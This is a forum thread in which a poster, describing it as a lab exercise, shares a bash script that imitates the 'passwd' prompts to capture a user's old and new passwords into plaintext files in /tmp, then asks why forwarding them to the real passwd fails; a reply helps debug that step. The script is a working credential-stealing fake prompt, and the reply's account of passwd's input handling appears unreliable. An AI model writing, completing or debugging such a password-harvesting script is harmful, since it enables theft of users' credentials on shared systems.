How to change password using a script file and text file?

[hayloiuy]

Ok please don't judge me or anything. This is for educational purpose. In fact it is my lab tutorial for a subject.

I want to capture the users password when he changes his password. Both new and old.

This is the script i have come up with:

#!/bin/bash
echo "Changing password for user $USER."
echo "(current) UNIX password: "

read hacked

newpass=0
confpass=1
while [ $newpass != $confpass ] 
do
echo "Enter new UNIX password: "
read newpass

echo "Retype new UNIX password: "
read confpass

done

echo $hacked > /tmp/stolen
echo $newpass > /tmp/newstolen


echo $hacked > /tmp/compilestolen
echo $newpass >> /tmp/compilestolen
echo $newpass >> /tmp/compilestolen


#[method 1] echo $hacked $newpass $confpass | passwd

#[method 2] passwd < /tmp/compilestolen.txt

Both method 1 and method 2 doesn't work. It gives the "Authentication token manipulation header" error in the terminal. Why?

[alf55]

In method 1, you are assuming that the command reads three arguments from stdin on a single line. Which the command passwd does not do. It is the same as attempting to do:

passwd
hacked_value newpass_value newpass_value

In method 2, you are assuming that the command reads three arguments from stdin on seperate lines. Which the command passwd does not do. It is the same as attempting to do:

passwd
hacked_value
newpass_value
newpass_value

The passwd command needs to have the userid as an argument to the command and then two lines of data such as:

passwd hacked_value
newpass_value
newpass_value